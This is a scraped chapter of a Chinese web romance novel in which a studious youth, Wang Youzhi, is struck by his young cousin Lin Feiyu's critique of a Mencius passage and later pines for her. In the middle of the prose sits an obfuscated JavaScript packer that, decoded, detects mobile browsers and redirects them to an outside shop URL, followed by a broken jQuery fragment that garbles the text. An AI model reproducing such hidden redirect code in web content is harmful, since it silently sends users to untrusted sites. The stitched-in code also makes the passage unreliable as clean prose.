“王佑之,王家本有开国从龙之功,三代而衰,大多行商,如今家族衰微,你当考取功名,一光我王家门楣。”
王家族老捋着须道。
十六岁的王佑之看了一眼一旁的王楝之,见父亲并没有要替他说话的意思,于是拜下。
他早年丧母,父亲偏生是个只懂得调兵打仗的粗人,除了缺不缺衣食外几乎从不过问于他。
家中族老让他学,那他就学。
四书五经,儒家经典,一年年累计起来,汗牛充栋,以至于到最后藏书阁里,哪怕随便点出一行一列找出一本,他都能整本背出来。
可是族老犹嫌不足,还总是说着这样如何能中进士云云……
他总是被关在屋子里,偶尔抬头看到窗外的鸟雀,怔怔看一会儿,然后又低头读书。
王佑之以为所有人都是这样的,直至他的姑母王朝云回家省亲,牵着一个明媚活泼的小姐踏入兰陵王氏。
族老说那是朝中礼部尚书之女,林非鱼,年方九岁。
族老说林尚书的女儿,他要多多接近,以后考中了进士也好拜入林尚书门下做门生。
王佑之点头应下,偶尔丢下了那些之乎者也,推开书房的门,来到了林非鱼面前。
小林非鱼很可爱,眼睛又大又水灵,皮肤很白,笑起来更是宛若银铃。
她看到王佑之走近,然后跑了过去,拽了拽王佑之的衣袖:“表哥。”
王佑之觉得她很可爱,蹲下身子和她平视:“嗯?”
林非鱼笑:“爹娘都说,表哥特别用功,是真的吗?”
王佑之一怔。
这是林尚书的女儿,应该在功课上也未曾放松吧?他要怎么答?说很刻苦?还是学得不怎么样,然后逗这个尚书之女开心?
他沉思了一会儿。
为什么孔孟没有教他,这时候该怎么回答?
小林非鱼笑:“表哥,你不觉得读书很累很烦吗?书上说圣人好读书,你好读书吗?”
王佑之有些讶异看向林非鱼:“很累……很烦?”
林非鱼颇以为是:“是啊,谁喜欢读书?表哥喜欢?喜欢那些之乎者也?有什么意思啊。”
王佑之好像还真的没有思考过这个问题,因为他从小到大都被教诲要读书,读书光耀门楣,至于喜不喜欢,从来都不在考虑之列。
他想了会儿:“可是喜欢不能当饭吃。”
林非鱼:“可是不喜欢,心情就会不好,心情不好就很没意思,一想到以后都那么没意思,就更没意思了。”
王佑之讶异,惊叹于这个小小的九岁的孩子,竟然能说出这样的道理。
但是真的很有道理。
王佑之:“嗯……我没想过这个问题,今天表妹点拨我后,我要好好想想。”
林非鱼:“那表哥马上要干嘛去?”
王佑之:“今天还有一些课业没有做完。”
林非鱼眼眸一亮:“我和表哥一起去!表哥带我去!”
王佑之失笑:“真的?可是那很无聊,你不再去花园什么的逛逛吗?”
林非鱼抓住他的袖子:“不去,表哥带我去!啊呀表哥你都不知道,我爹爹给我讲课的时候简直就是严格得要命,说一不二的,一句话都不许我提意见……”
王佑之含笑带她去了书房。
桌案前,赫然是《孟子》里的一句,今日夫子给他布置了要写一篇策论文。
“不违农时,谷不可胜食也;数罟不入洿池,鱼鳖不可胜食也;斧斤以时入山林,材木不可胜用也。”
林非鱼之瞥了一眼,就嗷呜了一声:“啊,这一句啊,孟子是个老古板,可惜爹爹从来不让我说。”
王佑之饶有兴致:“哦?那表妹有何见地呢?”
林非鱼坐得没个正形,距离所谓的君子正襟危坐去之甚远,可是面目上却是十分认真:
“啊,因为我觉得它说得有点绝对了。这句话讲的是凡事不能竭泽而渔、择木而林,要有一定的长远眼光是吧?但是这句话有点太理想化了吧。”
王佑之认真思索起来:“过于理想化?”
林非鱼点头:“是啊,圣人总是说怎么怎么就会大治,好像那些大道理是什么金科玉律,但是实际的施行中难道就没有问题吗?”
王佑之神色多了几分认真:“表妹请说。”
林非鱼见状,颇有几分得意:“啊!表哥,你也觉得我说得有道理对吧。”
王佑之不得不承认,林非鱼说得的确有几分过人之处,因为在他的料想里,林非鱼能够说出孟子那句话的意思就已经很难得了,没想到她还有不同见解。
他点了点头。
林非鱼清了清嗓子:“比如,按时农耕,难道就不会有蝗灾水灾?万一这一年旱了涝了又算什么?再比如有度砍林木那一句,如果有盗贼专门去砍树又要怎么办?”
“所以,一言以蔽之,万万不能以为有了这些大道理就万事大吉了。修渠建闸,以防天灾;放禽冬灌,以防虫害;拟定法令,以防人害。有此三策犹嫌不足,还要时时检阅疏漏之处,方能真正做到孟子所说。”
林非鱼话音落定,书房沉默良久。
王佑之心神震动。
在见到林非鱼之前,他对这篇孟子所要写的策论,无非是那些老生常谈的吟咏圣德、遵循孔孟、万事有度。
可是听了林非鱼一席话,他才顿觉自己思路之狭隘。
是啊,他一直以来都将自己的思路拘泥于小小的书本里去,用的观点也无非是前人写过的,因为这样才是经典、才是规范。
可是这样真的对吗?
王佑之深以为是,缓缓咀嚼着林非鱼的三策,顿觉口齿生香。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794693|206005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没想到,表妹仅仅只有九岁,就如此聪颖过人。
那一次省亲,分明只有半个月,可是那一次与林非鱼的相见带给王佑之的震撼却是足够让他品味了数年。
直至,琼月宴上林非鱼被谢皇后亲封第一才女的美名甚至传至了兰陵。
那时,他没忍住,在族老面前勾唇一笑。
即便只是传言,不知道少了亦或是偏离了多少,可是不难看出非鱼的惊艳绝伦。
她本就是明珠。
他一早就知道。
他越发努力读书,想要离她更近一点。
更近一点,等我中了进士,是不是就可以站在你的身边了?
他清楚知道远在京城那位林尚书的野心,不难看出他有入阁的心思,非鱼的年岁又渐长,必然会用非鱼的婚事运作。
快一点,再快一点。
他的机会,只有林非鱼十五岁那年的科考,只有那一年。
没日没夜,头悬梁锥刺股。
……
直至姑母再度带着十五岁的林非鱼回兰陵的那日。
他提着灯,与众人一同候在门口。
轿帘被人挑起,一张明媚轻灵的面容倏然出现,而仅仅是一瞬,她便又恢复了从容有礼的笑意。
但是王佑之很清楚,一开始才是真正的她。
王佑之莞尔看着她。
一别六年,却好似只在一瞬。
“佑之,你就带你表妹四处逛逛吧。”
他低应:“好。”
他带着她逛遍王家,言语之间引经据典,是一早就准备好的腹稿。
可见她有些心不在焉的样子,王佑之顿时懊恼自己说多了。
“表妹,你想用些点心吗?我带你去。”
她的眼睛一亮,点头。
好可爱。
果然,还是像小时候一样,喜欢甜食,性子闹,静不住。
看着她吃着王家请来的江南御厨特意做的桂花莲子牛乳羹,终于放了几分架子,他唇角不觉掠起清浅笑意:
“听闻表妹是京城中有名的大家闺秀,如今见了,却深感表妹之风流蕴藉,不拘小节。”
林非鱼笑:“我吃的样子也没有很难看吧?”
王佑之也笑:“怎么会难看呢?我反而更欣赏表妹了。”
林非鱼饶有兴致:“为什么?”
王佑之:“表妹颇有魏晋名士之风,分明胸有丘壑却不拘于世俗,反而是大雅。”
看着林非鱼面上明显受用的表情,他心口缓缓荡起一丝涟漪。
再等几个月,等他会试。
届时,他会穿上状元郎的红袍,执起她的手,带着她去参加琼林宴。
她是他枯燥无味生活中唯一的亮色,就好似一尾鲜亮任欢游的游鱼。
再等等。
等我。